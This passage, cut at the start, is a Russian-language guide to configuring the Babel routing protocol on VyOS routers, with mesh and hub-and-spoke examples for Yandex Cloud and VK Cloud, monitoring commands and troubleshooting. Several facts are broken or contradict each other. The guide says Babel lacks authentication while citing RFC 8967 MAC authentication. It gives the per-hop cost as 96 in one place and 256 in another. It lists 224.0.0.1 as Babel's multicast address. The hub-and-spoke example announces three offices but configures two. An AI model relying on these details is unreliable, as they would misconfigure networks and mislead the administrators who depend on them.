3. **Overlay-сети**: VPN mesh, SD-WAN, туннельные топологии
4. **Домашние сети**: Резервные каналы, multi-homing, отказоустойчивость
5. **Облачные инфраструктуры**: Динамическая маршрутизация между виртуальными машинами

## Архитектура и принципы работы

### Distance-Vector с гарантией отсутствия петель

Babel использует усовершенствованный алгоритм distance-vector, который:

1. **Распространяет маршруты**: Каждый узел объявляет известные ему сети и метрику до них
2. **Вычисляет метрику**: Метрика увеличивается на стоимость канала при передаче через соседа
3. **Проверяет feasibility**: Принимает маршрут только если он не может создать петлю
4. **Использует sequence numbers**: Отслеживание версий маршрутов для обнаружения изменений
5. **Запускает loop avoidance**: Специальные механизмы предотвращения петель при смене топологии

### Метрики и качество каналов

Babel поддерживает различные типы метрик в зависимости от типа интерфейса:

**Проводные каналы (wired)**:
- Базовая метрика: hop-count (количество переходов)
- Минимальная стоимость: 96 единиц на переход
- Дополнительная стоимость: на основе RTT (опционально)

**Беспроводные каналы (wireless)**:
- ETX метрика (Expected Transmission Count)
- Учитывает потери пакетов и повторные передачи
- Автоматическое вычисление на основе статистики hello-пакетов

**Формула метрики с RTT**:
```
metric = base_metric + rtt_penalty
где rtt_penalty = (RTT / rtt_min) * rtt_max
```

### Сообщения протокола

Babel использует следующие типы сообщений:

1. **Hello**: Обнаружение соседей и проверка связности (периодические)
2. **IHU (I Heard You)**: Подтверждение получения hello и информация о качестве канала
3. **Update**: Объявление маршрутов и их метрик
4. **Route Request**: Запрос маршрута к конкретной сети
5. **Seqno Request**: Запрос обновления sequence number для маршрута

### Таймеры

- **Hello interval**: Интервал отправки hello-сообщений (по умолчанию: 4 секунды)
- **Update interval**: Интервал отправки обновлений маршрутов (по умолчанию: 16 секунд)
- **Hold time**: Время удержания маршрута без обновлений (обычно 3.5 × hello interval)

## Базовая конфигурация

### Включение Babel на интерфейсах

Минимальная конфигурация для запуска Babel:

```bash
configure

# Включение Babel на интерфейсе eth1
set protocols babel interface eth1

# Сохранение конфигурации
commit
save
```

При добавлении первого интерфейса автоматически запускается процесс Babel (babeld).

### Указание типа интерфейса

Тип интерфейса влияет на выбор метрики и оптимизацию работы протокола:

```bash
configure

# Проводной интерфейс (hop-count метрика)
set protocols babel interface eth1 type wired

# Беспроводной интерфейс (ETX метрика)
set protocols babel interface wlan0 type wireless

# Автоматическое определение (по умолчанию)
set protocols babel interface eth2 type auto

commit
save
```

**Рекомендации по выбору типа**:
- `wired`: Ethernet, GRE/IPIP туннели, проводные соединения
- `wireless`: WiFi mesh, точка-многоточка, мобильные каналы
- `auto`: Babel автоматически определяет тип (используется hop-count)

### Базовые параметры интерфейса

```bash
configure

set protocols babel interface eth1 type wired

# Hello interval (секунды)
set protocols babel interface eth1 hello-interval 4

# Update interval (секунды)
set protocols babel interface eth1 update-interval 16

# Split-horizon (предотвращение анонсов обратно отправителю)
set protocols babel interface eth1 split-horizon enable

commit
save
```

## Расширенные настройки интерфейсов

### Настройка стоимости канала

Можно явно указать стоимость приема пакетов на интерфейсе:

```bash
configure

# Установка фиксированной стоимости приема (rxcost)
# Значение в единицах Babel (256 = 1 hop)
set protocols babel interface eth1 rxcost 512

# Для беспроводных интерфейсов - использовать автоматический расчет
# delete protocols babel interface wlan0 rxcost

commit
save
```

**Применение**:
- Принудительное предпочтение одного канала над другим
- Создание резервных каналов с высокой стоимостью
- Ручная корректировка автоматической метрики

### RTT (Round-Trip Time) параметры

Babel может измерять RTT и использовать его для улучшения метрики:

```bash
configure

# Включение измерения RTT
set protocols babel interface eth1 enable-timestamps

# Минимальный RTT для нормализации (мс)
set protocols babel interface eth1 rtt-min 10

# Максимальное влияние RTT на метрику
set protocols babel interface eth1 rtt-max 120

# Период сглаживания RTT (секунды)
set protocols babel interface eth1 rtt-decay 42

commit
save
```

**Как это работает**:
- Babel добавляет временные метки в hello/IHU сообщения
- Вычисляется RTT между соседями
- RTT влияет на метрику: `penalty = (current_rtt / rtt_min) * rtt_max`
- Полезно для обнаружения перегруженных или нестабильных каналов

### Channel diversity (разнообразие каналов)

Для беспроводных сетей можно использовать diversity routing - выбор маршрутов с минимальной интерференцией:

```bash
configure

# Глобальное включение diversity routing
set protocols babel diversity

# Коэффициент diversity (1-256)
# Чем выше значение, тем сильнее влияние разнообразия
set protocols babel diversity-factor 128

# Указание канала на интерфейсе
set protocols babel interface wlan0 channel 36
set protocols babel interface wlan1 channel 149

commit
save
```

**Принцип работы**:
- Babel учитывает номера каналов при выборе маршрута
- Предпочитает маршруты, использующие разные каналы
- Минимизирует интерференцию в mesh-сетях WiFi
- diversity-factor определяет насколько важно разнообразие по сравнению с метрикой

## Перераспределение маршрутов

### Перераспределение connected сетей

Анонсирование напрямую подключенных сетей:

```bash
configure

# Перераспределение IPv4 connected сетей
set protocols babel redistribute ipv4 connected

# Перераспределение IPv6 connected сетей
set protocols babel redistribute ipv6 connected

commit
save
```

### Перераспределение статических маршрутов

```bash
configure

# IPv4 статические маршруты
set protocols babel redistribute ipv4 static

# IPv6 статические маршруты
set protocols babel redistribute ipv6 static

commit
save
```

### Перераспределение из других протоколов

Babel может перераспределять маршруты из других протоколов маршрутизации:

```bash
configure

# Перераспределение из OSPF
set protocols babel redistribute ipv4 ospf

# Перераспределение из BGP
set protocols babel redistribute ipv4 bgp

# Перераспределение из RIP
set protocols babel redistribute ipv4 rip

# Перераспределение из ISIS
set protocols babel redistribute ipv4 isis

# Перераспределение из EIGRP
set protocols babel redistribute ipv4 eigrp

# Перераспределение из kernel routing table
set protocols babel redistribute ipv4 kernel

commit
save
```

### Фильтрация перераспределяемых маршрутов

Использование prefix-list для контроля перераспределения:

```bash
configure

# Создание prefix-list
set policy prefix-list BABEL-EXPORT rule 10 action permit
set policy prefix-list BABEL-EXPORT rule 10 prefix 10.100.0.0/16

set policy prefix-list BABEL-EXPORT rule 20 action permit
set policy prefix-list BABEL-EXPORT rule 20 prefix 172.16.0.0/12

set policy prefix-list BABEL-EXPORT rule 100 action deny
set policy prefix-list BABEL-EXPORT rule 100 prefix 0.0.0.0/0 le 32

# Применение к перераспределению
set protocols babel redistribute ipv4 connected
set protocols babel redistribute ipv4 connected prefix-list BABEL-EXPORT

commit
save
```

## Фильтрация маршрутов

### Входящая фильтрация (import)

Контроль принимаемых маршрутов от соседей:

```bash
configure

# Создание prefix-list для IPv4
set policy prefix-list BABEL-IMPORT-V4 rule 10 action permit
set policy prefix-list BABEL-IMPORT-V4 rule 10 prefix 10.0.0.0/8

set policy prefix-list BABEL-IMPORT-V4 rule 20 action permit
set policy prefix-list BABEL-IMPORT-V4 rule 20 prefix 172.16.0.0/12

set policy prefix-list BABEL-IMPORT-V4 rule 100 action deny
set policy prefix-list BABEL-IMPORT-V4 rule 100 prefix 0.0.0.0/0 le 32

# Применение к интерфейсу
set protocols babel interface eth1 import-filter prefix-list BABEL-IMPORT-V4

commit
save
```

### Исходящая фильтрация (export)

Контроль анонсируемых маршрутов на интерфейс:

```bash
configure

# Создание prefix-list для IPv6
set policy prefix-list6 BABEL-EXPORT-V6 rule 10 action permit
set policy prefix-list6 BABEL-EXPORT-V6 rule 10 prefix fd00::/8

set policy prefix-list6 BABEL-EXPORT-V6 rule 100 action deny
set policy prefix-list6 BABEL-EXPORT-V6 rule 100 prefix ::/0 le 128

# Применение к интерфейсу
set protocols babel interface eth1 export-filter prefix-list BABEL-EXPORT-V6

commit
save
```

### Фильтрация по access-list

Альтернативный способ фильтрации с использованием access-list:

```bash
configure

# Создание access-list
set policy access-list 100 rule 10 action permit
set policy access-list 100 rule 10 source address 10.100.0.0
set policy access-list 100 rule 10 source inverse-mask 0.0.255.255

set policy access-list 100 rule 100 action deny
set policy access-list 100 rule 100 source any

# Применение к интерфейсу
set protocols babel interface eth1 import-filter access-list 100

commit
save
```

## Dual-stack конфигурация (IPv4 и IPv6)

### Одновременная работа IPv4 и IPv6

Babel нативно поддерживает dual-stack без дополнительной конфигурации:

```bash
configure

# Интерфейс с IPv4 и IPv6 адресами
set interfaces ethernet eth1 address 10.100.1.1/24
set interfaces ethernet eth1 address fd00:100:1::1/64

# Включение Babel
set protocols babel interface eth1 type wired

# Перераспределение обоих стеков
set protocols babel redistribute ipv4 connected
set protocols babel redistribute ipv6 connected

commit
save
```

### Раздельная конфигурация для IPv4 и IPv6

```bash
configure

# IPv4 маршруты только через определенный интерфейс
set protocols babel interface eth1 ipv4 enable
set protocols babel interface eth1 ipv6 disable

# IPv6 маршруты через другой интерфейс
set protocols babel interface eth2 ipv4 disable
set protocols babel interface eth2 ipv6 enable

commit
save
```

### Фильтрация по версии протокола

```bash
configure

# Фильтр для IPv4
set policy prefix-list BABEL-V4 rule 10 action permit
set policy prefix-list BABEL-V4 rule 10 prefix 10.0.0.0/8

# Фильтр для IPv6
set policy prefix-list6 BABEL-V6 rule 10 action permit
set policy prefix-list6 BABEL-V6 rule 10 prefix fd00::/8

# Применение
set protocols babel redistribute ipv4 connected prefix-list BABEL-V4
set protocols babel redistribute ipv6 connected prefix-list BABEL-V6

commit
save
```

## Примеры конфигурации для Yandex Cloud

### Пример 1: Mesh-сеть между виртуальными машинами

Сценарий: 4 виртуальные машины в Yandex Cloud организованы в mesh-топологию для отказоустойчивости.

**Топология**:
```
VM1 (10.100.1.1) -------- VM2 (10.100.2.1)
     |                         |
     |                         |
VM3 (10.100.3.1) -------- VM4 (10.100.4.1)
```

**Конфигурация VM1** (10.100.1.1):

```bash
configure

# Интерфейсы
set interfaces ethernet eth1 address 10.100.1.1/24
set interfaces ethernet eth1 description 'Link to VM2'

set interfaces ethernet eth2 address 10.100.13.1/24
set interfaces ethernet eth2 description 'Link to VM3'

# Babel на обоих интерфейсах
set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired

# Loopback для идентификации
set interfaces loopback lo address 192.168.1.1/32

# Перераспределение loopback
set protocols babel redistribute ipv4 connected

commit
save
```

**Конфигурация VM2** (10.100.2.1):

```bash
configure

set interfaces ethernet eth1 address 10.100.1.2/24
set interfaces ethernet eth1 description 'Link to VM1'

set interfaces ethernet eth2 address 10.100.24.1/24
set interfaces ethernet eth2 description 'Link to VM4'

set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired

set interfaces loopback lo address 192.168.1.2/32

set protocols babel redistribute ipv4 connected

commit
save
```

**Конфигурация VM3** (10.100.3.1):

```bash
configure

set interfaces ethernet eth1 address 10.100.13.2/24
set interfaces ethernet eth1 description 'Link to VM1'

set interfaces ethernet eth2 address 10.100.34.1/24
set interfaces ethernet eth2 description 'Link to VM4'

set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired

set interfaces loopback lo address 192.168.1.3/32

set protocols babel redistribute ipv4 connected

commit
save
```

**Конфигурация VM4** (10.100.4.1):

```bash
configure

set interfaces ethernet eth1 address 10.100.24.2/24
set interfaces ethernet eth1 description 'Link to VM2'

set interfaces ethernet eth2 address 10.100.34.2/24
set interfaces ethernet eth2 description 'Link to VM3'

set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired

set interfaces loopback lo address 192.168.1.4/32

set protocols babel redistribute ipv4 connected

commit
save
```

### Пример 2: Hub-and-Spoke с резервированием

Сценарий: Центральный роутер (Hub) в Yandex Cloud и 3 удаленных офиса (Spokes) с резервными каналами.

**Топология**:
```
        Spoke1 (10.1.0.0/24)
           |  \
           |   \
    Primary \   \ Backup
           |     \
          Hub (10.0.0.1)
           |     /
    Primary /   / Backup
           |   /
           |  /
        Spoke2 (10.2.0.0/24)
```

**Конфигурация Hub**:

```bash
configure

# Primary каналы к Spoke1 и Spoke2
set interfaces ethernet eth1 address 10.100.11.1/30
set interfaces ethernet eth1 description 'Primary to Spoke1'

set interfaces ethernet eth2 address 10.100.12.1/30
set interfaces ethernet eth2 description 'Primary to Spoke2'

# Backup каналы
set interfaces ethernet eth3 address 10.100.21.1/30
set interfaces ethernet eth3 description 'Backup to Spoke1'

set interfaces ethernet eth4 address 10.100.22.1/30
set interfaces ethernet eth4 description 'Backup to Spoke2'

# Babel на всех интерфейсах
set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired
set protocols babel interface eth3 type wired
set protocols babel interface eth4 type wired

# Повышенная стоимость backup каналов
set protocols babel interface eth3 rxcost 512
set protocols babel interface eth4 rxcost 512

# Локальные сети Hub
set interfaces ethernet eth0 address 10.0.0.1/24

# Перераспределение локальных сетей
set protocols babel redistribute ipv4 connected

commit
save
```

**Конфигурация Spoke1**:

```bash
configure

# Primary канал к Hub
set interfaces ethernet eth1 address 10.100.11.2/30
set protocols babel interface eth1 type wired

# Backup канал к Hub
set interfaces ethernet eth2 address 10.100.21.2/30
set protocols babel interface eth2 type wired
set protocols babel interface eth2 rxcost 512

# Локальная сеть
set interfaces ethernet eth0 address 10.1.0.1/24

# Перераспределение
set protocols babel redistribute ipv4 connected

commit
save
```

### Пример 3: Dual-stack mesh с IPv6

Сценарий: Mesh-сеть в Yandex Cloud с полной поддержкой IPv4 и IPv6.

**Конфигурация узла**:

```bash
configure

# Интерфейсы с dual-stack
set interfaces ethernet eth1 address 10.100.1.1/24
set interfaces ethernet eth1 address fd00:100:1::1/64

set interfaces ethernet eth2 address 10.100.2.1/24
set interfaces ethernet eth2 address fd00:100:2::1/64

# Loopback dual-stack
set interfaces loopback lo address 192.168.1.1/32
set interfaces loopback lo address fd00:ffff::1/128

# Babel на интерфейсах
set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired

# Перераспределение обоих стеков
set protocols babel redistribute ipv4 connected
set protocols babel redistribute ipv6 connected

# Фильтрация IPv6 ULA только
set policy prefix-list6 BABEL-V6-FILTER rule 10 action permit
set policy prefix-list6 BABEL-V6-FILTER rule 10 prefix fd00::/8

set policy prefix-list6 BABEL-V6-FILTER rule 100 action deny
set policy prefix-list6 BABEL-V6-FILTER rule 100 prefix ::/0 le 128

set protocols babel redistribute ipv6 connected prefix-list BABEL-V6-FILTER

commit
save
```

## Примеры конфигурации для VK Cloud

### Пример 1: Overlay mesh-сеть поверх VK Cloud VPC

Сценарий: 3 региона VK Cloud объединены в mesh-сеть через WireGuard туннели с динамической маршрутизацией Babel.

**Топология**:
```
Region MSK (wg0: 10.200.1.1/24)
    |                    \
    |                     \
    |                      \
Region SPB              Region KZN
(wg1: 10.200.2.1/24)   (wg2: 10.200.3.1/24)
```

**Конфигурация Region MSK**:

```bash
configure

# WireGuard туннели (уже настроены)
# wg0 -> Region SPB (10.200.1.1/24)
# wg1 -> Region KZN (10.200.2.1/24)

# Babel на WireGuard интерфейсах
set protocols babel interface wg0 type wired
set protocols babel interface wg0 hello-interval 10
set protocols babel interface wg0 update-interval 40

set protocols babel interface wg1 type wired
set protocols babel interface wg1 hello-interval 10
set protocols babel interface wg1 update-interval 40

# Локальные сети региона MSK
set interfaces ethernet eth0 address 172.16.1.0/24

# Перераспределение локальных сетей
set protocols babel redistribute ipv4 connected

# Фильтр - только внутренние сети
set policy prefix-list VK-INTERNAL rule 10 action permit
set policy prefix-list VK-INTERNAL rule 10 prefix 172.16.0.0/12

set policy prefix-list VK-INTERNAL rule 20 action permit
set policy prefix-list VK-INTERNAL rule 20 prefix 10.200.0.0/16

set policy prefix-list VK-INTERNAL rule 100 action deny
set policy prefix-list VK-INTERNAL rule 100 prefix 0.0.0.0/0 le 32

set protocols babel redistribute ipv4 connected prefix-list VK-INTERNAL

commit
save
```

**Конфигурация Region SPB**:

```bash
configure

# WireGuard туннели
# wg0 -> Region MSK (10.200.1.2/24)
# wg1 -> Region KZN (10.200.3.1/24)

set protocols babel interface wg0 type wired
set protocols babel interface wg0 hello-interval 10
set protocols babel interface wg0 update-interval 40

set protocols babel interface wg1 type wired
set protocols babel interface wg1 hello-interval 10
set protocols babel interface wg1 update-interval 40

# Локальные сети региона SPB
set interfaces ethernet eth0 address 172.16.2.0/24

set protocols babel redistribute ipv4 connected

# Применение фильтра
set policy prefix-list VK-INTERNAL rule 10 action permit
set policy prefix-list VK-INTERNAL rule 10 prefix 172.16.0.0/12

set policy prefix-list VK-INTERNAL rule 20 action permit
set policy prefix-list VK-INTERNAL rule 20 prefix 10.200.0.0/16

set policy prefix-list VK-INTERNAL rule 100 action deny
set policy prefix-list VK-INTERNAL rule 100 prefix 0.0.0.0/0 le 32

set protocols babel redistribute ipv4 connected prefix-list VK-INTERNAL

commit
save
```

### Пример 2: Babel с RTT-оптимизацией для VK Cloud

Сценарий: Mesh-сеть с автоматическим выбором оптимального маршрута на основе задержки.

```bash
configure

# Интерфейсы к соседям
set protocols babel interface eth1 type wired
set protocols babel interface eth2 type wired
set protocols babel interface eth3 type wired

# Включение RTT measurements
set protocols babel interface eth1 enable-timestamps
set protocols babel interface eth1 rtt-min 5
set protocols babel interface eth1 rtt-max 100
set protocols babel interface eth1 rtt-decay 42

set protocols babel interface eth2 enable-timestamps
set protocols babel interface eth2 rtt-min 5
set protocols babel interface eth2 rtt-max 100
set protocols babel interface eth2 rtt-decay 42

set protocols babel interface eth3 enable-timestamps
set protocols babel interface eth3 rtt-min 5
set protocols babel interface eth3 rtt-max 100
set protocols babel interface eth3 rtt-decay 42

# Перераспределение
set protocols babel redistribute ipv4 connected

commit
save
```

### Пример 3: Babel для multi-tenant overlay

Сценарий: Разделение трафика разных клиентов (tenants) в VK Cloud с использованием VRF и Babel.

```bash
configure

# VRF для Tenant A
set vrf name TENANT-A table 100
set vrf name TENANT-A description 'Customer A'

# VRF для Tenant B
set vrf name TENANT-B table 200
set vrf name TENANT-B description 'Customer B'

# Интерфейсы для Tenant A
set interfaces ethernet eth1 vrf TENANT-A
set interfaces ethernet eth1 address 10.10.1.1/24

# Интерфейсы для Tenant B
set interfaces ethernet eth2 vrf TENANT-B
set interfaces ethernet eth2 address 10.20.1.1/24

# Babel для Tenant A
set protocols babel vrf TENANT-A interface eth1 type wired
set protocols babel vrf TENANT-A redistribute ipv4 connected

# Babel для Tenant B
set protocols babel vrf TENANT-B interface eth2 type wired
set protocols babel vrf TENANT-B redistribute ipv4 connected

commit
save
```

Примечание: Поддержка VRF в Babel зависит от версии VyOS. В старых версиях может потребоваться отдельный экземпляр babeld для каждого VRF.

## Команды проверки и мониторинга

### Просмотр общей информации о Babel

```bash
# Общий статус протокола Babel
show babel summary

# Вывод:
# Babel instance running
# Interfaces: 3 active
# Routes: 12 total (8 installed)
# Neighbors: 4
```

### Просмотр соседей (neighbors)

```bash
# Все соседи Babel
show babel neighbors

# Вывод:
# Interface  Address               Reach  RXcost  TXcost
# eth1       10.100.1.2            FFFF   96      96
# eth2       10.100.2.2            FFFF   96      96
# wg0        10.200.1.2            FF7F   256     96
```

Значения:
- **Reach**: Bitmap достижимости (16 последних hello), FFFF = все получены
- **RXcost**: Стоимость приема от соседа
- **TXcost**: Стоимость передачи к соседу (вычисленная соседом)

### Просмотр маршрутов

```bash
# Все маршруты Babel
show babel routes

# Вывод:
# Prefix                via             Interface  Metric  Installed
# 10.0.0.0/24          -               eth0       0       yes
# 10.1.0.0/24          10.100.1.2      eth1       96      yes
# 10.2.0.0/24          10.100.2.2      eth2       192     yes
# 192.168.1.2/32       10.100.1.2      eth1       96      yes
# 192.168.1.3/32       10.100.2.2      eth2       192     yes

# Маршруты с IPv6
show babel routes ipv6

# Маршруты только установленные в kernel
show babel routes installed
```

### Просмотр информации об интерфейсах

```bash
# Интерфейсы Babel
show babel interfaces

# Вывод:
# Interface  Type    Hello  Update  Neighbors
# eth1       wired   4      16      2
# eth2       wired   4      16      1
# wg0        wired   10     40      1

# Детальная информация об интерфейсе
show babel interface eth1

# Вывод:
# Interface: eth1
# Type: wired
# Hello interval: 4
# Update interval: 16
# RXcost: 96
# Split-horizon: enabled
# Neighbors: 2
# Timestamps: enabled
# RTT min: 10 ms
# RTT max: 120 ms
```

### Просмотр статистики

```bash
# Статистика протокола
show babel statistics

# Вывод может включать:
# - Количество отправленных/полученных сообщений каждого типа
# - Счетчики обновлений маршрутов
# - Ошибки и предупреждения
```

### Просмотр конфигурации

```bash
# Конфигурация Babel
show configuration protocols babel

# Вывод текущей конфигурации:
# protocols {
#     babel {
#         interface eth1 {
#             type wired
#         }
#         interface eth2 {
#             type wired
#         }
#         redistribute {
#             ipv4 {
#                 connected {
#                 }
#             }
#         }
#     }
# }
```

### Мониторинг в реальном времени

```bash
# Мониторинг логов Babel
monitor protocol babel

# Или через journalctl (в режиме operational)
monitor log babel
```

### Просмотр kernel routing table

```bash
# Проверка установки маршрутов в kernel
show ip route babel

# Вывод:
# B>* 10.1.0.0/24 [100/96] via 10.100.1.2, eth1, weight 1, 00:05:23
# B>* 10.2.0.0/24 [100/192] via 10.100.2.2, eth2, weight 1, 00:05:23
# B>* 192.168.1.2/32 [100/96] via 10.100.1.2, eth1, weight 1, 00:05:23

# B = Babel, > = selected route, * = active route
# [AD/Metric] - Administrative Distance / Babel metric
```

## Диагностика и устранение неполадок

### Проблема: Соседи не устанавливаются

**Симптомы**:
```bash
show babel neighbors
# Вывод пустой или неполный
```

**Проверки**:

1. Проверить включен ли Babel на интерфейсе:
```bash
show configuration protocols babel
```

2. Проверить IP connectivity:
```bash
ping <neighbor-ip>
```

3. Проверить мультикаст (Babel использует UDP port 6696 и multicast):
```bash
# IPv4 multicast: 224.0.0.1
# IPv6 multicast: ff02::1:6

# Проверить firewall
show firewall

# Разрешить Babel в firewall
configure
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 protocol udp
set firewall name WAN_LOCAL rule 100 destination port 6696
commit
```

4. Проверить network namespace (для VRF):
```bash
# Если используется VRF, убедиться что интерфейсы в правильном VRF
show vrf
```

### Проблема: Маршруты не устанавливаются

**Симптомы**:
```bash
show babel routes
# Маршруты видны, но не установлены (Installed = no)
```

**Проверки**:

1. Проверить наличие конфликтов с другими протоколами:
```bash
show ip route <prefix>

# Если есть маршрут с меньшим AD (Administrative Distance):
# - Connected: AD 0
# - Static: AD 1
# - OSPF: AD 110
# - Babel: AD 100 (по умолчанию в FRR)
```

2. Проверить feasibility condition - маршрут может быть отклонен из-за loop prevention:
```bash
# Проверить sequence number и метрику
show babel routes detail
```

3. Проверить фильтры:
```bash
show configuration protocols babel
# Проверить наличие import-filter, которые могут блокировать маршруты
```

### Проблема: Высокая метрика маршрутов

**Симптомы**:
```bash
show babel routes
# Metric очень высокая (например, >1000)
```

**Причины и решения**:

1. **ETX метрика на беспроводном интерфейсе**:
```bash
# Проверить тип интерфейса
show babel interface <name>

# Если используется wireless, но канал проводной:
configure
set protocols babel interface <name> type wired
commit
```

2. **Высокий rxcost**:
```bash
# Проверить rxcost
show babel interface <name>

# Если установлен вручную, сбросить:
configure
delete protocols babel interface <name> rxcost
commit
```

3. **RTT влияние**:
```bash
# Проверить RTT parameters
show babel interface <name>

# Уменьшить влияние RTT:
configure
set protocols babel interface <name> rtt-max 50
commit
```

### Проблема: Петли маршрутизации

**Симптомы**:
```bash
traceroute <destination>
# Маршрут зацикливается
```

**Действия**:

1. Babel должен предотвращать петли автоматически. Проверить версию:
```bash
show version

# Обновить VyOS/FRR если версия старая
```

2. Проверить split-horizon:
```bash
show configuration protocols babel interface <name>

# Включить split-horizon если отключен:
configure
set protocols babel interface <name> split-horizon enable
commit
```

3. Временное решение - запретить анонсы определенных маршрутов:
```bash
configure
set protocols babel interface <name> export-filter prefix-list LOOP-FIX
commit
```

### Проблема: Медленная сходимость

**Симптомы**:
- Долгое время переключения на резервный маршрут при отказе
- Долгое обнаружение изменений топологии

**Решения**:

1. Уменьшить hello interval (с осторожностью):
```bash
configure
# По умолчанию: 4 секунды
set protocols babel interface eth1 hello-interval 2

# Пропорционально уменьшить update interval
set protocols babel interface eth1 update-interval 8
commit
```

Предупреждение: Слишком малые интервалы увеличивают нагрузку и трафик протокола.

2. Включить BFD (Bidirectional Forwarding Detection) если поддерживается:
```bash
# BFD обнаруживает отказы каналов быстрее
configure
set protocols bfd peer <neighbor-ip> interval receive 300
set protocols bfd peer <neighbor-ip> interval transmit 300
set protocols bfd peer <neighbor-ip> multihop
commit
```

### Проблема: Высокая загрузка CPU/memory

**Симптомы**:
```bash
show system resources
# High CPU usage by babeld process
```

**Решения**:

1. Увеличить интервалы:
```bash
configure
set protocols babel interface eth1 hello-interval 10
set protocols babel interface eth1 update-interval 40
commit
```

2. Уменьшить количество перераспределяемых маршрутов:
```bash
# Использовать агрегацию или фильтрацию
configure
set protocols babel redistribute ipv4 connected prefix-list AGGREGATE-ONLY
commit
```

3. Оптимизировать diversity routing:
```bash
# Отключить если не используется
configure
delete protocols babel diversity
commit
```

## Отладка

### Включение debug логов

```bash
# В operational mode
debug babel events
debug babel packets
debug babel route

# Просмотр debug вывода
show log babel

# Отключение debug
no debug babel events
no debug babel packets
no debug babel route
```

### Анализ пакетов

```bash
# Захват Babel пакетов на интерфейсе
monitor traffic interface eth1 filter "udp port 6696"

# Или с tcpdump
sudo tcpdump -i eth1 -vvv udp port 6696
```

### Логирование в файл

```bash
configure

# Направить логи Babel в отдельный файл
set system syslog file babel facility local7 level debug
set system syslog file babel archive size 10

commit
save
```

Просмотр:
```bash
show log file babel
```

## Лучшие практики

### Проектирование сети

1. **Топология**:
   - Предпочитать mesh или partial mesh для отказоустойчивости
   - Для hub-and-spoke использовать разные rxcost для primary/backup каналов
   - Избегать топологий с единственной точкой отказа

2. **Масштабируемость**:
   - Babel эффективен для сетей до 50-100 узлов
   - Для больших сетей рассмотреть BGP с route reflectors
   - Использовать агрегацию маршрутов где возможно

3. **Безопасность**:
   - Babel не имеет встроенной аутентификации
   - Использовать firewall для ограничения приема Babel пакетов только от доверенных соседей
   - В overlay сетях использовать шифрование туннелей (WireGuard, IPsec)

### Настройка параметров

1. **Интервалы**:
   - Проводные стабильные сети: hello 4s, update 16s (по умолчанию)
   - Беспроводные нестабильные сети: hello 2s, update 8s
   - WAN каналы с высокой задержкой: hello 10s, update 40s

2. **Типы интерфейсов**:
   - Всегда явно указывать тип (wired/wireless)
   - Не использовать auto в production

3. **RTT optimization**:
   - Включать только если есть альтернативные пути с разной задержкой
   - Установить rtt-min близкой к минимальному RTT в сети
   - rtt-max влияет на максимальное изменение метрики

### Перераспределение маршрутов

1. **Фильтрация**:
   - ВСЕГДА использовать prefix-list для контроля анонсируемых префиксов
   - Запрещать default route (0.0.0.0/0) если не требуется явно
   - Фильтровать приватные диапазоны на границах

2. **Агрегация**:
   - Анонсировать агрегированные префиксы вместо /32 или /128
   - Использовать static aggregate routes

3. **Селективное перераспределение**:
   - Не перераспределять все подряд (kernel, connected, static одновременно)
   - Выбрать минимально необходимый набор источников

### Мониторинг и обслуживание

1. **Регулярные проверки**:
```bash
# Еженедельно проверять:
show babel summary
show babel neighbors
show babel routes

# Проверять метрики маршрутов на аномалии
```

2. **Логирование**:
   - Централизованный syslog для корреляции событий
   - Алерты на потерю соседей
   - Мониторинг изменений количества маршрутов

3. **Резервное копирование**:
```bash
# Регулярно сохранять конфигурацию
save
show configuration protocols babel > /tmp/babel-backup.conf
```

### Интеграция с другими протоколами

1. **Babel + OSPF**:
   - OSPF для core сети, Babel для edge/mesh
   - Перераспределять маршруты с осторожностью (риск петель)
   - Использовать route-maps для контроля

2. **Babel + BGP**:
   - BGP для WAN, Babel для site-local
   - Не анонсировать Babel маршруты в BGP без агрегации
   - Использовать BGP communities для маркировки источника

3. **Babel + Static**:
   - Static routes как fallback
   - Установить высокий AD для Babel если static должен быть предпочтителен

### Обновление и миграция

1. **Добавление нового узла**:
```bash
# На новом узле:
configure
set protocols babel interface <intf> type wired
set protocols babel redistribute ipv4 connected
commit

# Проверить появление соседей:
show babel neighbors

# Проверить получение маршрутов:
show babel routes
```

2. **Вывод узла из эксплуатации**:
```bash
# Graceful shutdown - удалить перераспределение:
configure
delete protocols babel redistribute
commit

# Подождать пока соседи удалят маршруты (update interval × 3)
# Затем отключить интерфейсы:
delete protocols babel interface <intf>
commit
```

3. **Обновление параметров**:
   - Изменения применяются немедленно
   - Изменение типа интерфейса может вызвать переключение маршрутов
   - Изменение hello/update interval влияет на скорость сходимости

## Ограничения и особенности

### Ограничения протокола

1. **Масштабируемость**:
   - Оптимален для 50-100 узлов
   - Для больших сетей требуется иерархическая архитектура

2. **Безопасность**:
   - Нет встроенной аутентификации
   - Нет шифрования (требуется на уровне туннелей)
   - Уязвим к DoS если нет firewall фильтрации

3. **Транспорт**:
   - UDP port 6696
   - Использует multicast (может не работать в некоторых overlay сетях)
   - Требует двусторонней связности

### Особенности реализации в VyOS

1. **FRR babeld**:
   - VyOS использует FRR routing suite
   - Поддержка версии зависит от версии FRR
   - Некоторые опции могут отличаться от standalone babeld

2. **VRF support**:
   - Поддержка VRF зависит от версии VyOS
   - Может требовать отдельного экземпляра на VRF

3. **IPv6**:
   - Полная поддержка dual-stack
   - Link-local адреса используются для обмена сообщениями
   - Требуется IPv6 на интерфейсе даже для IPv4-only маршрутизации в некоторых версиях

### Отличия от других протоколов

**Babel vs OSPF**:
- Babel: Проще настройка, лучше для mesh, поддержка wireless метрик
- OSPF: Более зрелый, лучше масштабируемость, широкая поддержка

**Babel vs BGP**:
- Babel: Автоматическое обнаружение соседей, проще для небольших сетей
- BGP: Масштабируемость, policy control, стандарт для Internet

**Babel vs RIP**:
- Babel: Быстрая сходимость, loop-free, современные метрики
- RIP: Устаревший, медленная сходимость, ограничение 15 hop

**Babel vs EIGRP**:
- Babel: Open standard, проще
- EIGRP: Проприетарный (Cisco), более сложные метрики, DUAL алгоритм

## Справочная информация

### RFC и документация

- **RFC 8966**: The Babel Routing Protocol (основной стандарт)
- **RFC 8967**: MAC Authentication for Babel
- **draft-ietf-babel-rfc6126bis**: Обновления к Babel
- **VyOS Documentation**: https://docs.vyos.io/en/latest/configuration/protocols/babel.html
- **FRR Documentation**: https://docs.frrouting.org/en/latest/babeld.html

